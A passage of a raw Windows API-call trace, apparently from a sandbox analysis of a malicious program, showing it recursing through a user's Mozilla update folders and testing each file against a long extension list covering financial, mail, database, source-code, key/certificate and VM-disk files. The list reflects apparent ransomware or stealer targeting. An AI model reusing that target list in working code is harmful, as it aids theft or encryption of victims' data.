(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qbb") returned 0 [0086.358] lstrlenA (lpString="*.qbb") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qbm") returned 0 [0086.358] lstrlenA (lpString="*.qbm") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qbo") returned 0 [0086.358] lstrlenA (lpString="*.qbo") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qbx") returned 0 [0086.358] lstrlenA (lpString="*.qbx") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qba") returned 0 [0086.358] lstrlenA (lpString="*.qba") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qby") returned 0 [0086.358] lstrlenA (lpString="*.qby") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qbj") returned 0 [0086.358] lstrlenA (lpString="*.qbj") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.ofx") returned 0 [0086.358] lstrlenA (lpString="*.ofx") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qif") returned 0 [0086.358] lstrlenA (lpString="*.qif") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mye") returned 0 [0086.358] lstrlenA (lpString="*.mye") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mbox") returned 0 [0086.359] lstrlenA (lpString="*.mbox") returned 6 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.eml") returned 0 [0086.359] lstrlenA (lpString="*.eml") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.pst") returned 0 [0086.359] lstrlenA (lpString="*.pst") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.ost") returned 0 [0086.359] lstrlenA (lpString="*.ost") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.idx") returned 0 [0086.359] lstrlenA (lpString="*.idx") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.dbx") returned 0 [0086.359] lstrlenA (lpString="*.dbx") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.sql") returned 0 [0086.359] lstrlenA (lpString="*.sql") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mdb") returned 0 [0086.359] lstrlenA (lpString="*.mdb") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.fdb") returned 0 [0086.359] lstrlenA (lpString="*.fdb") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.wab") returned 0 [0086.359] lstrlenA (lpString="*.wab") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.dat") returned 0 [0086.359] lstrlenA (lpString="*.dat") returned 5 [0086.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.txt") returned 0 [0086.360] lstrlenA (lpString="*.txt") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.jpeg") returned 0 [0086.360] lstrlenA (lpString="*.jpeg") returned 6 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.jpg") returned 0 [0086.360] lstrlenA (lpString="*.jpg") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.png") returned 0 [0086.360] lstrlenA (lpString="*.png") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.php") returned 0 [0086.360] lstrlenA (lpString="*.php") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.cs") returned 0 [0086.360] lstrlenA (lpString="*.cs") returned 4 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.cpp") returned 0 [0086.360] lstrlenA (lpString="*.cpp") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.rar") returned 0 [0086.360] lstrlenA (lpString="*.rar") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.zip") returned 0 [0086.360] lstrlenA (lpString="*.zip") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.html") returned 0 [0086.360] lstrlenA (lpString="*.html") returned 6 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.htm") returned 0 [0086.360] lstrlenA (lpString="*.htm") returned 5 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.xlsx") returned 0 [0086.360] lstrlenA (lpString="*.xlsx") returned 6 [0086.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.xls") returned 0 [0086.360] lstrlenA (lpString="*.xls") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mp4") returned 0 [0086.361] lstrlenA (lpString="*.mp4") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.ppt") returned 0 [0086.361] lstrlenA (lpString="*.ppt") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.pptx") returned 0 [0086.361] lstrlenA (lpString="*.pptx") returned 6 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.doc") returned 0 [0086.361] lstrlenA (lpString="*.doc") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.dot") returned 0 [0086.361] lstrlenA (lpString="*.dot") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.docx") returned 0 [0086.361] lstrlenA (lpString="*.docx") returned 6 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.7z") returned 0 [0086.361] lstrlenA (lpString="*.7z") returned 4 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.tar") returned 0 [0086.361] lstrlenA (lpString="*.tar") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.bz2") returned 0 [0086.361] lstrlenA (lpString="*.bz2") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.gz") returned 0 [0086.361] lstrlenA (lpString="*.gz") returned 4 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mkv") returned 0 [0086.361] lstrlenA (lpString="*.mkv") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.eml") returned 0 [0086.361] lstrlenA (lpString="*.eml") returned 5 [0086.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.msg") returned 0 [0086.362] lstrlenA (lpString="*.msg") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.edb") returned 0 [0086.362] lstrlenA (lpString="*.edb") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.accdb") returned 0 [0086.362] lstrlenA (lpString="*.accdb") returned 7 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.odb") returned 0 [0086.362] lstrlenA (lpString="*.odb") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.java") returned 0 [0086.362] lstrlenA (lpString="*.java") returned 6 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.asm") returned 0 [0086.362] lstrlenA (lpString="*.asm") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.pfx") returned 0 [0086.362] lstrlenA (lpString="*.pfx") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.pem") returned 0 [0086.362] lstrlenA (lpString="*.pem") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.p12") returned 0 [0086.362] lstrlenA (lpString="*.p12") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.gpg") returned 0 [0086.362] lstrlenA (lpString="*.gpg") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.vsd") returned 0 [0086.362] lstrlenA (lpString="*.vsd") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.odg") returned 0 [0086.362] lstrlenA (lpString="*.odg") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.raw") returned 0 [0086.362] lstrlenA (lpString="*.raw") returned 5 [0086.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.nef") returned 0 [0086.363] lstrlenA (lpString="*.nef") returned 5 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.svg") returned 0 [0086.363] lstrlenA (lpString="*.svg") returned 5 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.psd") returned 0 [0086.363] lstrlenA (lpString="*.psd") returned 5 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.vmx") returned 0 [0086.363] lstrlenA (lpString="*.vmx") returned 5 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.vmdk") returned 0 [0086.363] lstrlenA (lpString="*.vmdk") returned 6 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.vdi") returned 0 [0086.363] lstrlenA (lpString="*.vdi") returned 5 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.lay6") returned 0 [0086.363] lstrlenA (lpString="*.lay6") returned 6 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mpeg") returned 0 [0086.363] lstrlenA (lpString="*.mpeg") returned 6 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.djvu") returned 0 [0086.363] lstrlenA (lpString="*.djvu") returned 6 [0086.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.tiff") returned 0 [0086.363] lstrlenA (lpString="*.tiff") returned 6 [0086.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.backup") returned 0 [0086.364] lstrlenA (lpString="*.backup") returned 8 [0086.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.pdf") returned 0 [0086.365] lstrlenA (lpString="*.pdf") returned 5 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.cert") returned 0 [0086.365] lstrlenA (lpString="*.cert") returned 6 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.docm") returned 0 [0086.365] lstrlenA (lpString="*.docm") returned 6 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.xlsm") returned 0 [0086.365] lstrlenA (lpString="*.xlsm") returned 6 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.dwg") returned 0 [0086.365] lstrlenA (lpString="*.dwg") returned 5 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.nd") returned 0 [0086.365] lstrlenA (lpString="*.nd") returned 4 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.tlg") returned 0 [0086.365] lstrlenA (lpString="*.tlg") returned 5 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.lgb") returned 0 [0086.365] lstrlenA (lpString="*.lgb") returned 5 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mov") returned 0 [0086.365] lstrlenA (lpString="*.mov") returned 5 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.xdw") returned 0 [0086.365] lstrlenA (lpString="*.xdw") returned 5 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.ods") returned 0 [0086.365] lstrlenA (lpString="*.ods") returned 5 [0086.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.wav") returned 0 [0086.365] lstrlenA (lpString="*.wav") returned 5 [0086.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.mp3") returned 0 [0086.366] lstrlenA (lpString="*.mp3") returned 5 [0086.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.aiff") returned 0 [0086.366] lstrlenA (lpString="*.aiff") returned 6 [0086.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.flac") returned 0 [0086.366] lstrlenA (lpString="*.flac") returned 6 [0086.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.m4a") returned 0 [0086.366] lstrlenA (lpString="*.m4a") returned 5 [0086.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.csv") returned 0 [0086.366] lstrlenA (lpString="*.csv") returned 5 [0086.366] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1 [0086.366] lstrcmpA (lpString1=".", lpString2="updates") returned -1 [0086.366] lstrcmpA (lpString1="..", lpString2="updates") returned -1 [0086.366] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml") returned="active-update.xml" [0086.366] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\", lpString2="updates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates" [0086.366] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates") returned 84 [0086.366] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015c2, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0086.368] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.368] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0086.368] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.368] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.368] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0086.368] lstrcmpA (lpString1=".", lpString2="0") returned -1 [0086.368] lstrcmpA (lpString1="..", lpString2="0") returned -1 [0086.368] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*.*") returned="*.*" [0086.368] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\", lpString2="0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0" [0086.368] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0") returned 86 [0086.368] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.369] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.369] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.369] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.369] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.369] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x818016b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x927c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="update.mar", cAlternateFileName="")) returned 1 [0086.369] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, 